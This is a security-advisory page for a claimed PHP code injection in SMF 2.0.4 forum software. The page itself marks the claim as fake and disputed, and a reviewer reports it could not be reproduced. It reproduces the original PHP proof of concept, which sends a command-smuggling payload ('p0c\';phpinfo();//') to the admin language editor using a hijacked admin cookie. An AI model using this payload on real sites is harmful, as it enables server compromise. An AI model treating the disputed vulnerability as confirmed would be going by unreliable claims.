WARNING! Fake news / Disputed / BOGUS

SMF 2.0.4 Fake php code injection

2013-09-24 / 2013-09-27
Credit: Jakub Galczyk
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

!!!! FAKE !!!!!! - Henri Salo ------ Could not reproduce this issue: http://packetstormsecurity.com/files/121391/public_phpInjection-smf204.txt -------------------- <?php // proof of concept that latest SMF (2.0.4) can be exploited by php injection. // payload code must escape from \', so you should try with something like that: // p0c\';phpinfo();// as a 'dictionary' value. Same story for locale parameter. // For character_set - another story, as far as I remember, because here we have // a nice stored xss. ;) // 21/04/2013 // http://HauntIT.blogspot.com // to successfully exploit smf 2.0.4 we need correct admin's cookie: $cookie = 'SMFCookie956=allCookiesHere'; $ch = curl_init('http://smf_2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english'); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_POST, 1); // send as POST (to 'On') curl_setopt($ch, CURLOPT_POSTFIELDS, "character_set=en&locale=helloworld&dictionary=p0c\\';phpinfo();//&spelling=american&ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0&save_main=Save"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $page = curl_exec($ch); echo 'PHP code:<br>'.$page; curl_close($ch); // to close 'logged-in' part ?>

References:

http://cxsecurity.com/issue/WLB-2013090166
http://packetstormsecurity.com/files/121391/public_phpInjection-smf204.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top